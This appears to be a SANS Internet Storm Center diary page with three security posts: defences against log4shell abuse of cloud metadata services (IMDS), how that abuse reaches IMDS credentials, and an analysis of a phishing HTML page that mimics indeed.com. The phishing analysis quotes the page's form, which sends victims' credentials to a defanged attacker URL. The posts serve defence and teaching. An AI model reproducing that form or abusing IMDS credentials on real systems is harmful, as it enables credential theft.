Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog - SANS Internet Storm Center InfoSec Handlers Diary Blog


Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Defending Cloud IMDS Against log4shell (and more)

Published: 2021-12-23
Last Updated: 2021-12-24 01:30:14 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Thanks to Mick Douglas for contributing these notes on defending against log4shell exploits targeting cloud Internal Meta Data Services (IMDS)

A new twist on using the Log4j vulnerability was discovered that could allow attackers access to the IMDS. This allows them to gather detailed and current information about your cloud infrastructure. Typically, attackers cannot easily do this because cloud providers have protections that prevent this type of access. With Log4j, if your system is vulnerable, attackers can make requests appear to come from trusted infrastructure from within your cloud.

Before we get into defenses, it's imperative that you understand patching is your path of least resistance. Please patch if at all possible. If you cannot patch, I personally suggest the IMMA model. Here's how IMMA would work in this instance.

Isolate:

  • Setup a WAF for all internet-facing systems. There are detects for this the Log4j attack in all main providers.
  • If you can, disable the IMDS web access. Typically this is a bad idea since it breaks almost all automation, but if you don't need it, turn it off for now.

Minimize:

  • Prevent attacker callbacks by doing strong egress controls. Only allow protocols out that are needed.
  • Review network trust boundaries. Consider reviewing all access into your systems, pay careful attention to third parties which have special network linkages. Don't allow your MSSP or cloud VAR to be the source of your attack!
  • Limit access for tokens used by infrastructure. At a minimum, review what your defaults are.

Monitor:

  • Review logs on your applications. You are looking for JNDI requests. These are exceedingly rare.
  • Look for unplanned configuration changes.
  • Look for network enumeration. Only auditors and attackers ask to see network setups. Everything else knows what to talk to!
  • Look for token use from outside your cloud providers' ASN. Tokens should only be coming from the provider that issues them. The only exception will be admins who use tokens from CLI shells. Those you can make an exception list for.
  • Detect new and unexpected connections. Cloud systems have a very predictable interaction mapping. When this changes, you should be able to see it.

Active Defense:

  • Token lifetimes: If you create tokens with non-standard lifetimes, when someone creates a new token of the maximum lifetime (typically 6 hours) that's highly noticeable.
  • Honey tokens: create fake tokens and see if anyone tries to use them anywhere.
  • Setup honey environment variables: IDMS supports almost any data. Why not give attackers something juicy and see if they try to use it anywhere? One of my favorite use cases for this is "AutomationAdminAccessToken=068f073e79fd3b69be0b0a1338537aff" See if they try using it!

Mick Douglas,
Principle SANS Instructor
IANS Faculty
Founder and Managing Partner, InfoSec Innovations

Keywords: log4shell log4j IMDS
0 comment(s)

log4shell and cloud provider internal meta data services (IMDS)

Published: 2021-12-23
Last Updated: 2021-12-23 23:17:03 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)

Are you running an application in a cloud environment like Amazon's EC2? Cloud providers usually offer a nifty way to manage credentials: Internal Meta Data Services (IMDS). For AWS, the IMDS listens on 169.254.169.254. 169.254/16 being link-local only,  only code running on the host itself can reach it, and your code can use this service to retrieve credentials. Or, well, any code running on the host can. 

As Mick Douglas pointed out in his tweet here:

Kat Traxler's blog post, referred to by Mick, has more details.

In Amazon's case, two versions of the IMDS are offered. Exploitation is trivial for IMDSv1. All it takes is an SSRF vulnerability, and as JNDI is all about sending requests to arbitrary hosts, this is covered. Amazon hardened its IMDS implementation in version 2 (using a PUT request to retrieve an access token first). But with log4j, you got arbitrary code execution, so sending a PUT and the following GET with the proper authentication header is pretty straightforward.

This issue isn't just a log4j issue. It is common to all remote code execution vulnerabilities in cloud environments (or again to some SSRF issues). 

Can you do something other than patching all your log4j instances?

  • You may disable the IMDS service if not needed (careful!)
  • Verify all your cloud permissions (right... patching is likely easier)
  • most importantly: rotate credentials on systems you suspect are compromised (= all unpatched systems at this point)

Let us know if there is better advice to monitor access to the IMDS.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Keywords: log4j log4shell
0 comment(s)

Nicely Crafted indeed.com Login Page

Published: 2021-12-23
Last Updated: 2021-12-23 07:38:06 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Phishing campaigns are a real plague on the Internet. Every day our mailboxes are flooded via fake emails pretending to be from common online services like Paypal, DHL, Netflix, and many more. Microsoft Office365 is also a good candidate for phishing campaigns.

I found a nice phishing email in my mail trap that targeted indeed.com users. Indeed is a well-known job exchange service where people can upload their resumes and companies their job offers.  The email was pretty well redacted and asked the victim to click on the attached HTML page to connect to his/her Indeed account.

Let’s compare the pages. First, here is the official login page:

Now, let’s have a look at the HTML document (fake page):

That’s a good copy! Let’s have a look at the differences:

On the fake page, we found this comment:

<!-- saved from url=(0111)https://secure.indeed.com/account/login?hl=en_US&service=my&co=US&continue=https://www.indeed.com/login -->

This means that the page was saved by the attackers with Internet Explorer. The number that you see (0111) is called “Mark of the Web”[1].

Then, the attacker added a form in the page:

<form id="loginform" name="loginform" action="hxxp://forceunstoppable[.]com/wp-includes/images/crystal/reportindeedoriginal.php" method="POST" novalidate="">

Note that the email field is marked as read-only to prevent the victim to change the pre-filled login (matching the email recipient):

<input aria-labelledby="label-login-email-input" id="login-email-input" name="login" type="email" value=“[redacted]“ readonly="" class="icl-TextInput-control" aria-invalid="false">

The remaining code remains unchanged and all external resources (like Google Analytics are loaded by the browser).

Once credentials have been successfully received by the C2 server, the victim is redirected to the legit indeed.com website. From an attacker's point of view, this method (dropping the HTML file) is easier because the user does not get any potential SSL warnings and does not need to register a fake DNS... 

[1] https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628(v=vs.85)?redirectedfrom=MSDN

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Phishing
0 comment(s)
Diary Archives